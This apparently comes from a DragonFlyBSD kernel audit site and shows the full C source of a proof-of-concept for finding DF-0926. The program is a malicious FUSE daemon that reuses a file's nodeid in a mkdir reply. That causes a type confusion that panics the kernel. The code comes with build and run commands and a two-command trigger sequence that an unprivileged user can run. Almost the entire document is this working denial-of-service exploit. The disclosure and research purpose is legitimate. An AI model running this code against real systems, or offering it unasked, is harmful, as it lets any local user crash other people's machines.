โฌข DragonFlyBSD Kernel Audit
DF-0926 / fusedev.c
โ† back to finding โ†“ download raw
/*
 * fusedev.c โ€” standalone malicious FUSE daemon for DF-0926 PoC.
 *
 * Talks the FUSE kernel ABI over /dev/fuse directly (no libfuse needed).
 *
 * Bug being demonstrated:
 *   sys/vfs/fuse/fuse_node.c:fuse_alloc_node() finds an existing fuse_node
 *   by nodeid via RB_LOOKUP and IGNORES the vtyp argument. If a daemon
 *   reuses a previously-created VREG nodeid for a VDIR mkdir reply, the
 *   kernel proceeds to fuse_set_attr() which KKASSERT(va_type == fnp->type)
 *   at fuse_vnops.c:81 โ€” an UNCONDITIONAL panic (INVARIANTS is force-on
 *   via fuse.h:31-33).
 *
 * Trigger sequence (run as any user with access to the mount):
 *   ls /mnt/fuse/baitfile    # LOOKUP -> daemon returns nodeid=100 as VREG
 *   mkdir /mnt/fuse/crashdir # MKDIR  -> daemon returns nodeid=100 as VDIR
 *                            #          -> KKASSERT panic
 *
 * Build: cc -o fusedev fusedev.c
 * Run:   ./fusedev /mnt/fuse
 */
#define FUSE_USE_VERSION 26
#include <sys/types.h>
#include <sys/ioctl.h>
#include <sys/stat.h>
#include <sys/uio.h>
#include <err.h>
#include <errno.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/mount.h>

/* ---- FUSE kernel ABI (subset, verbatim from sys/vfs/fuse/fuse_abi.h) ---- */

#define FUSE_KERNEL_VERSION 7
#define FUSE_KERNEL_MINOR_VERSION 31
#define FUSE_ROOT_ID 1

enum fuse_opcode {
	FUSE_LOOKUP = 1, FUSE_FORGET = 2, FUSE_GETATTR = 3, FUSE_SETATTR = 4,
	FUSE_READLINK = 5, FUSE_SYMLINK = 6, FUSE_MKNOD = 8, FUSE_MKDIR = 9,
	FUSE_UNLINK = 10, FUSE_RMDIR = 11, FUSE_RENAME = 12, FUSE_LINK = 13,
	FUSE_OPEN = 14, FUSE_READ = 15, FUSE_WRITE = 16, FUSE_STATFS = 17,
	FUSE_RELEASE = 18, FUSE_FSYNC = 20, FUSE_FLUSH = 25, FUSE_INIT = 26,
	FUSE_OPENDIR = 27, FUSE_READDIR = 28, FUSE_RELEASEDIR = 29,
	FUSE_ACCESS = 34, FUSE_CREATE = 35, FUSE_DESTROY = 38,
};

struct fuse_attr {
	uint64_t ino, size, blocks, atime, mtime, ctime;
	uint32_t atimensec, mtimensec, ctimensec, mode, nlink, uid, gid, rdev, blksize, padding;
};

struct fuse_kstatfs {
	uint64_t blocks, bfree, bavail, files, ffree;
	uint32_t bsize, namelen, frsize, padding, spare[6];
};

struct fuse_in_header {
	uint32_t len, opcode;
	uint64_t unique, nodeid;
	uint32_t uid, gid, pid, padding;
};

struct fuse_out_header {
	uint32_t len;
	int32_t error;
	uint64_t unique;
};

struct fuse_init_in {
	uint32_t major, minor, max_readahead, flags;
};

struct fuse_init_out {
	uint32_t major, minor, max_readahead, flags;
	uint16_t max_background, congestion_threshold;
	uint32_t max_write, time_gran;
	uint16_t max_pages, padding;
	uint32_t unused[8];
};

struct fuse_entry_out {
	uint64_t nodeid, generation, entry_valid, attr_valid;
	uint32_t entry_valid_nsec, attr_valid_nsec;
	struct fuse_attr attr;
};

struct fuse_attr_out {
	uint64_t attr_valid;
	uint32_t attr_valid_nsec, dummy;
	struct fuse_attr attr;
};

struct fuse_getattr_in {
	uint32_t getattr_flags, dummy;
	uint64_t fh;
};

struct fuse_mkdir_in {
	uint32_t mode, umask;
};

#define FUSE_BLKSIZE 4096

/* fixed reused nodeid โ€” the crux of the type-confusion bug */
#define BAIT_INO 100

static int fuse_fd = -1;

static void
fill_attr(struct fuse_attr *a, uint64_t ino, mode_t mode)
{
	memset(a, 0, sizeof *a);
	a->ino = ino;
	a->mode = mode;
	a->nlink = 1;
	/* daemon runs as root; pretend files are owned by the mount owner
	 * (root) but with world-accessible mode bits so unprivileged users
	 * can traverse the mount and trigger the bug. */
	a->uid = 0;
	a->gid = 0;
	a->blksize = FUSE_BLKSIZE;
	if (S_ISDIR(mode))
		a->nlink = 2;
}

static void
reply(uint64_t unique, int error, const void *body, size_t bodylen)
{
	struct {
		struct fuse_out_header oh;
		char pad[1024];
	} buf;
	size_t total = sizeof(struct fuse_out_header) + bodylen;
	if (total > sizeof(buf))
		errx(1, "reply too big");
	buf.oh.len = (uint32_t)total;
	buf.oh.error = error;
	buf.oh.unique = unique;
	if (bodylen)
		memcpy(buf.pad, body, bodylen);
	if (write(fuse_fd, &buf, total) != (ssize_t)total)
		err(1, "write /dev/fuse");
}

static void
reply_entry(uint64_t unique, uint64_t ino, mode_t mode)
{
	struct fuse_entry_out feo;
	memset(&feo, 0, sizeof feo);
	feo.nodeid = ino;
	feo.generation = 1;
	feo.entry_valid = 3600;
	feo.attr_valid = 3600;
	fill_attr(&feo.attr, ino, mode);
	reply(unique, 0, &feo, sizeof feo);
}

static void
reply_attr(uint64_t unique, uint64_t ino, mode_t mode)
{
	struct fuse_attr_out fao;
	memset(&fao, 0, sizeof fao);
	fao.attr_valid = 3600;
	fill_attr(&fao.attr, ino, mode);
	reply(unique, 0, &fao, sizeof fao);
}

static void
reply_err(uint64_t unique, int e)
{
	reply(unique, e, NULL, 0);
}

/* main FUSE protocol loop */
static void
fuse_loop(void)
{
	unsigned char inbuf[65536];
	struct fuse_in_header *ih;
	uint32_t opcode;
	uint64_t unique, nodeid;
	ssize_t n;

	for (;;) {
		n = read(fuse_fd, inbuf, sizeof inbuf);
		if (n < 0) {
			if (errno == EINTR) continue;
			err(1, "read /dev/fuse");
		}
		if (n < (ssize_t)sizeof *ih) {
			warnx("short read %zd", n);
			continue;
		}
		ih = (struct fuse_in_header *)inbuf;
		opcode = ih->opcode;
		unique = ih->unique;
		nodeid = ih->nodeid;

		switch (opcode) {
		case FUSE_INIT: {
			struct fuse_init_out fio;
			memset(&fio, 0, sizeof fio);
			fio.major = FUSE_KERNEL_VERSION;
			fio.minor = FUSE_KERNEL_MINOR_VERSION;
			fio.max_readahead = FUSE_BLKSIZE;
			fio.flags = 0;
			fio.max_write = 1 << 12;
			reply(unique, 0, &fio, sizeof fio);
			break;
		}
		case FUSE_LOOKUP: {
			const char *name = (const char *)(ih + 1);
			/* "baitfile" -> create a VREG node at ino=BAIT_INO.
			 * This is the first fuse_alloc_node(BAIT_INO, VREG) call.
			 * IMPORTANT: do NOT return a positive entry for "crashdir"
			 * here, or the namecache will mark it EEXIST before mkdir
			 * fires. The type-confusion happens via FUSE_MKDIR below. */
			if (strcmp(name, "baitfile") == 0) {
				reply_entry(unique, BAIT_INO, S_IFREG | 0644);
			} else {
				reply_err(unique, -ENOENT);
			}
			break;
		}
		case FUSE_GETATTR: {
			if (nodeid == FUSE_ROOT_ID)
				/* root dir is world-writable so unprivileged
				 * users can attempt mkdir and reach the bug */
				reply_attr(unique, FUSE_ROOT_ID, S_IFDIR | 0777);
			else if (nodeid == BAIT_INO)
				/* the existing node is VREG; GETATTR must agree */
				reply_attr(unique, BAIT_INO, S_IFREG | 0644);
			else
				reply_err(unique, -ENOENT);
			break;
		}
		case FUSE_MKDIR: {
			/* THE BUG TRIGGER.
			 * Daemon returns the SAME nodeid (BAIT_INO) but now as a
			 * directory. nmkdir at fuse_vnops.c:915 verifies
			 * IFTOVT(feo->attr.mode)==VDIR (ok), then calls
			 * fuse_alloc_node(.., VDIR, ..) which finds the existing
			 * VREG node and ignores VDIR; fuse_set_attr then
			 * KKASSERT-panics at fuse_vnops.c:81. */
			reply_entry(unique, BAIT_INO, S_IFDIR | 0755);
			break;
		}
		case FUSE_ACCESS:
			reply_err(unique, 0);
			break;
		case FUSE_OPEN:
		case FUSE_OPENDIR: {
			struct { uint64_t fh; uint32_t of, pad; } oo;
			memset(&oo, 0, sizeof oo);
			oo.fh = 1;
			reply(unique, 0, &oo, sizeof oo);
			break;
		}
		case FUSE_READ:
		case FUSE_READDIR:
			/* return empty payload */
			reply_err(unique, 0);
			break;
		case FUSE_STATFS: {
			struct { struct fuse_kstatfs st; } sfs;
			memset(&sfs, 0, sizeof sfs);
			sfs.st.bsize = FUSE_BLKSIZE;
			sfs.st.namelen = 255;
			sfs.st.frsize = FUSE_BLKSIZE;
			reply(unique, 0, &sfs, sizeof sfs);
			break;
		}
		case FUSE_DESTROY:
			reply_err(unique, 0);
			_exit(0);
			break;
		default:
			reply_err(unique, -ENOSYS);
			break;
		}
	}
}

int
main(int argc, char **argv)
{
	const char *mp;
	char fdstr[16];
	pid_t pid;

	if (argc != 2) {
		fprintf(stderr, "usage: %s mountpoint\n", argv[0]);
		return 2;
	}
	mp = argv[1];

	fuse_fd = open("/dev/fuse", O_RDWR);
	if (fuse_fd < 0)
		err(1, "open /dev/fuse");

	/* mount: exec mount_fusefs with our fd */
	snprintf(fdstr, sizeof fdstr, "%d", fuse_fd);
	pid = fork();
	if (pid < 0) err(1, "fork");
	if (pid == 0) {
		/* child: become mount_fusefs fd mp */
		execlp("mount_fusefs", "mount_fusefs", fdstr, mp, NULL);
		err(1, "execlp mount_fusefs");
	}

	fprintf(stderr, "[daemon] mounted on %s, fd=%d, serving FUSE protocol\n",
	    mp, fuse_fd);
	fuse_loop();
	return 0;
}